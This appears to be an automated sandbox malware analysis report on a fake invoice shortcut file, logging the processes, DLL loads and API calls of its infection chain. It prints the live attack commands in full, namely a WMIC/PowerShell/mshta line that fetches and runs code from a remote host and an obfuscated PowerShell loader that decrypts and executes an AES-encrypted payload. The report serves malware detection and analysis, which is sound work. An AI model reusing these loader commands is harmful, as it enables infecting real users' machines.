Source: C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe	Code function: String function: 6C251420 appears 79 times
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: String function: 10025950 appears 133 times
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: String function: 1003B1C2 appears 62 times
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: String function: 00270237 appears 685 times
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: String function: 00233821 appears 500 times
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: String function: 002732F3 appears 85 times
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: String function: 1003AEBF appears 35 times
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: String function: 00231F13 appears 54 times
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: String function: 00270726 appears 34 times
Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Code function: String function: 009A1F13 appears 54 times
Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Code function: String function: 009A3821 appears 501 times
Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Code function: String function: 009E32F3 appears 83 times
Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Code function: String function: 009E0726 appears 34 times
Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Code function: String function: 009E0237 appears 683 times

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Source: C:\Windows\System32\mshta.exe	Process created: Commandline size = 2621
Source: C:\Windows\System32\mshta.exe	Process created: Commandline size = 2621			Jump to behavior

Source: classification engine

Classification label: mal100.troj.evad.winLNK@38/63@6/3

Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe

Code function: 16_2_009DFE21 FormatMessageW,GetLastError,LocalFree,

16_2_009DFE21

Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Code function: 16_2_009A45EE GetCurrentProcess,OpenProcessToken,GetLastError,LookupPrivilegeValueW,GetLastError,AdjustTokenPrivileges,GetLastError,Sleep,InitiateSystemShutdownExW,GetLastError,CloseHandle,		16_2_009A45EE
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_002345EE GetCurrentProcess,OpenProcessToken,GetLastError,LookupPrivilegeValueW,GetLastError,AdjustTokenPrivileges,GetLastError,Sleep,InitiateSystemShutdownExW,GetLastError,CloseHandle,		17_2_002345EE

Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe

Code function: 16_2_009E304F GetModuleHandleA,GetLastError,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CoCreateInstance,ExitProcess,

16_2_009E304F

Source: C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe

Code function: 18_2_00401540 FindResourceA,LoadResource,LockResource,_snprintf,LoadLibraryA,GetProcAddress,strncmp,strncmp,strncmp,UnmapViewOfFile,

18_2_00401540

Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe

Code function: 16_2_009C6B88 ChangeServiceConfigW,GetLastError,

16_2_009C6B88

Source: C:\Windows\System32\mshta.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4476:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5428:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3468:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uaguuush.g14.ps1

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\explorer.exe

Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Command line argument: cabinet.dll	16_2_009A1070
Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Command line argument: msi.dll	16_2_009A1070
Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Command line argument: version.dll	16_2_009A1070
Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Command line argument: wininet.dll	16_2_009A1070
Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Command line argument: comres.dll	16_2_009A1070
Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Command line argument: clbcatq.dll	16_2_009A1070
Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Command line argument: msasn1.dll	16_2_009A1070
Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Command line argument: crypt32.dll	16_2_009A1070
Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Command line argument: feclient.dll	16_2_009A1070
Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Command line argument: cabinet.dll	16_2_009A1070
Source: C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe	Command line argument: windows_exe	18_2_00401110
Source: C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe	Command line argument: sys	18_2_00401110
Source: C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe	Command line argument: _MessageBox	18_2_00401110

Source: C:\Windows\System32\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecMethod - ROOT\CIMV2 : Win32_Process::Create

Source: C:\Windows\System32\conhost.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wbem\WMIC.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: WMIC.exe, 00000000.00000002.1752768362.0000017A53C75000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Select*fromWin32_Process;

Source: KlarnaInvoice229837.pdf.lnk

ReversingLabs: Detection: 13%

Source: IMAKBWPY.exe	String found in binary or memory: Failed to re-launch bundle process after RunOnce: %ls
Source: IMAKBWPY.exe	String found in binary or memory: Failed to re-launch bundle process after RunOnce: %ls
Source: pyexec.exe	String found in binary or memory: --help
Source: pyexec.exe	String found in binary or memory: --help

Source: unknown	Process created: C:\Windows\System32\wbem\WMIC.exe "C:\Windows\System32\Wbem\wmic.exe" process call create "powershell -w 1 . \W\S2\mhte https://naubeautylus.ch/Headerfrontend"
Source: C:\Windows\System32\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wbem\WMIC.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w 1 . \W\S2\mhte https://naubeautylus.ch/Headerfrontend
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\mshta.exe "C:\Windows\System32\mshta.exe" https://naubeautylus.ch/Headerfrontend
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $ddg = '474A3D80681E00D6A2EF8CD9205A8000631C5C73110F4F3F98F9A3380757A56587AC33C982B8757EDE337D31FE178A5C76E820250B09678E60E099A6640F0003AD5BA580D4079FF31BFB3624F9936FF7E054A6F5E6ADF16AF70F2E258B230F0E119433E36E3EA1E08ACE300686446DBFFA1718086C874FC8A8A09ECE0BFD5827E2193AF83B13A9484213EC696E93EAD4E5C86D3B340D0383DF19D9C6B9177B473A715691E727DD59FAD481BB49CFEA164A8C8A2491D767B90BD1F1A11FC199A39158AB0C73865F35115CBBE29DBEC488B90B0DC061AD5039FE414583BD0E8BD4E7B7672D629DE366DBFAED2D2883ABA50A9A3E095A1B26777F10398DF92E050D286E806395A5648C371F95E62603829AB9CCCACC87BA02D01A00AFE9838ECF66997E0A551A83FFD859BBA6E2E568E9EDF081936A8569161CB274B3B9FC21427BBFF2D5D3CF500872D4A683668F2BA8C3038B93718EE8317DBCCA6305CD634DD1B2335210DC703C66A2F0B81A0128C9E257E324E61A18DA3ABFD1FF42A8E1E1E8F1E7A7E412839AAE35575C1AB8B6072F3F101F284610A7A9532CE85C597BD62A5F4DEB11490AF74CF21ECB396C3208FB1E2589B5CE209FFE1017BD9C5FAECDA99ACB77A243D50657551D5D47F459F8E119B10653DCCB3289C76C9277136D22F53A69199D62D4FFD4041CF72E1A171243BD2074D940A15228E8513CE7A56D65D8EC952DA1892A1C0DD32267424040F32729D596424618D14BC5778CA69A50F5378CE90DD67BF9999C530599FA84EEDF1437CAD4599F3B7A5E7C715AF39F96B02950C66C2C6BA86E0CA9B675D12FDB087692B5AAB0023D114DDA9F406E075D82EBF2F19297D6F614E17214DB113946B455BD69B36718F5E9FDD59B17F24ADE82623F8E02D3779A8A68B9AD01E429B87EFA6E75E2447F0911F56F9765C959A678DCB2037D736BE2BEBFAA18D5CD0E5D31518F484AA55F2B977C501125F80803041206588BADA41525EE9B8028EA58781C70961A6BB0694F09DA35A160ED1AE70FB8C2E6354A6F03BFC8C02611C83AD60917171564EB342465A947A75C12850F40B68C68DF9C5D83328A98798B17DBEA519B0CE39850F7D8E390584FED55BE5059CA71D2719A0D9B3575AD4DA7287E4D5C5F7EFBA6CC3A3F7F4BCD13AC1249B159691B69F1D64638B49A4BB7A28DA57B77892D7E8F00A1D56280ACF19657E31A66DFC23FBA50CFDA53B25280E96E1FBF839A922391F2D69B1839C422568935D9A35EB45649512E2FDFF02BB416951E3F123183CA94CCFCCB683F885C28A6612BE81855A88151A9D947C889DF4B8536261DCAAD58C911647AB6B0D09AAE2E7F0815EF1890124C736FB150D2551F0419A04AA7E0C0AA8A883CD43E6C794BCACCAFBDC6CEA95B925F072D8EC8D52F266541A22E74F87228F055F2EC79DE196F94BD5C59D029B1320B41AAF44D624365A3C1EC5F6B716D4A575948474E4552594C66474E';function cZF ($PgTDvwwB){return -split ($PgTDvwwB -replace '..', '0x$& ')};$kvsOmI = cZF($ddg.SubString(0, 2080));$qlR = [System.Security.Cryptography.Aes]::Create();$qlR.Key = cZF($ddg.SubString(2080));$qlR.IV = New-Object byte[] 16;$GluWYuA = $qlR.CreateDecryptor();$ZwjPYT = [System.String]::new($GluWYuA.TransformFinalBlock($kvsOmI, 0,$kvsOmI.Length)); sal fd $ZwjPYT.Substring(3,3); fd $ZwjPYT.Substring(6)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Roaming\KlarnaInvoice42611.pdf"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2072 --field-trial-handle=1636,i,12666906857534162029,3532720811796512563,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\IMAKBWPY.exe "C:\Users\user\AppData\Roaming\IMAKBWPY.exe"
Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Process created: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe "C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe" -burn.clean.room="C:\Users\user\AppData\Roaming\IMAKBWPY.exe" -burn.filehandle.attached=520 -burn.filehandle.self=516
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Process created: C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe "C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe"
Source: C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe	Process created: C:\Users\user\AppData\Roaming\UltraChrome\pyexec.exe C:\Users\user\AppData\Roaming\UltraChrome\pyexec.exe
Source: C:\Users\user\AppData\Roaming\UltraChrome\pyexec.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\mshta.exe "C:\Windows\System32\mshta.exe" https://naubeautylus.ch/Headerfrontend	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $ddg = '474A3D80681E00D6A2EF8CD9205A8000631C5C73110F4F3F98F9A3380757A56587AC33C982B8757EDE337D31FE178A5C76E820250B09678E60E099A6640F0003AD5BA580D4079FF31BFB3624F9936FF7E054A6F5E6ADF16AF70F2E258B230F0E119433E36E3EA1E08ACE300686446DBFFA1718086C874FC8A8A09ECE0BFD5827E2193AF83B13A9484213EC696E93EAD4E5C86D3B340D0383DF19D9C6B9177B473A715691E727DD59FAD481BB49CFEA164A8C8A2491D767B90BD1F1A11FC199A39158AB0C73865F35115CBBE29DBEC488B90B0DC061AD5039FE414583BD0E8BD4E7B7672D629DE366DBFAED2D2883ABA50A9A3E095A1B26777F10398DF92E050D286E806395A5648C371F95E62603829AB9CCCACC87BA02D01A00AFE9838ECF66997E0A551A83FFD859BBA6E2E568E9EDF081936A8569161CB274B3B9FC21427BBFF2D5D3CF500872D4A683668F2BA8C3038B93718EE8317DBCCA6305CD634DD1B2335210DC703C66A2F0B81A0128C9E257E324E61A18DA3ABFD1FF42A8E1E1E8F1E7A7E412839AAE35575C1AB8B6072F3F101F284610A7A9532CE85C597BD62A5F4DEB11490AF74CF21ECB396C3208FB1E2589B5CE209FFE1017BD9C5FAECDA99ACB77A243D50657551D5D47F459F8E119B10653DCCB3289C76C9277136D22F53A69199D62D4FFD4041CF72E1A171243BD2074D940A15228E8513CE7A56D65D8EC952DA1892A1C0DD32267424040F32729D596424618D14BC5778CA69A50F5378CE90DD67BF9999C530599FA84EEDF1437CAD4599F3B7A5E7C715AF39F96B02950C66C2C6BA86E0CA9B675D12FDB087692B5AAB0023D114DDA9F406E075D82EBF2F19297D6F614E17214DB113946B455BD69B36718F5E9FDD59B17F24ADE82623F8E02D3779A8A68B9AD01E429B87EFA6E75E2447F0911F56F9765C959A678DCB2037D736BE2BEBFAA18D5CD0E5D31518F484AA55F2B977C501125F80803041206588BADA41525EE9B8028EA58781C70961A6BB0694F09DA35A160ED1AE70FB8C2E6354A6F03BFC8C02611C83AD60917171564EB342465A947A75C12850F40B68C68DF9C5D83328A98798B17DBEA519B0CE39850F7D8E390584FED55BE5059CA71D2719A0D9B3575AD4DA7287E4D5C5F7EFBA6CC3A3F7F4BCD13AC1249B159691B69F1D64638B49A4BB7A28DA57B77892D7E8F00A1D56280ACF19657E31A66DFC23FBA50CFDA53B25280E96E1FBF839A922391F2D69B1839C422568935D9A35EB45649512E2FDFF02BB416951E3F123183CA94CCFCCB683F885C28A6612BE81855A88151A9D947C889DF4B8536261DCAAD58C911647AB6B0D09AAE2E7F0815EF1890124C736FB150D2551F0419A04AA7E0C0AA8A883CD43E6C794BCACCAFBDC6CEA95B925F072D8EC8D52F266541A22E74F87228F055F2EC79DE196F94BD5C59D029B1320B41AAF44D624365A3C1EC5F6B716D4A575948474E4552594C66474E';function cZF ($PgTDvwwB){return -split ($PgTDvwwB -replace '..', '0x$& ')};$kvsOmI = cZF($ddg.SubString(0, 2080));$qlR = [System.Security.Cryptography.Aes]::Create();$qlR.Key = cZF($ddg.SubString(2080));$qlR.IV = New-Object byte[] 16;$GluWYuA = $qlR.CreateDecryptor();$ZwjPYT = [System.String]::new($GluWYuA.TransformFinalBlock($kvsOmI, 0,$kvsOmI.Length)); sal fd $ZwjPYT.Substring(3,3); fd $ZwjPYT.Substring(6)	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Roaming\KlarnaInvoice42611.pdf"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\IMAKBWPY.exe "C:\Users\user\AppData\Roaming\IMAKBWPY.exe"	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2072 --field-trial-handle=1636,i,12666906857534162029,3532720811796512563,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Process created: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe "C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe" -burn.clean.room="C:\Users\user\AppData\Roaming\IMAKBWPY.exe" -burn.filehandle.attached=520 -burn.filehandle.self=516
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Process created: C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe "C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe"
Source: C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe	Process created: C:\Users\user\AppData\Roaming\UltraChrome\pyexec.exe C:\Users\user\AppData\Roaming\UltraChrome\pyexec.exe
Source: C:\Users\user\AppData\Roaming\UltraChrome\pyexec.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe

Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msimtf.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
